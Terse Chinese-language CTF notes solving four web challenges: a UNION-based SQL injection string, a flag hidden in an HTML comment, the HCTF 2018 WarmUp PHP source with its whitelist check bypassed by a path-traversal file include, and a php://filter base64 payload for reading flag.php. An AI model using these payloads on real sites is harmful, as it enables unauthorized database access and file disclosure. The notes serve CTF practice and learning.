[极客大挑战 2019]EasySQL
一个签到题
1'union select 1,2,3#
[极客大挑战 2019]Havefun
源码里面
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
?cat=dog
[HCTF 2018]WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')查找?在$page . '?'的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg.php
想的直接来伪协议
结果是目录穿越
index.php?file=source.php?../../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include
?file=php://filter/read=convert.base64-encode/resource=flag.php
观察一下就可以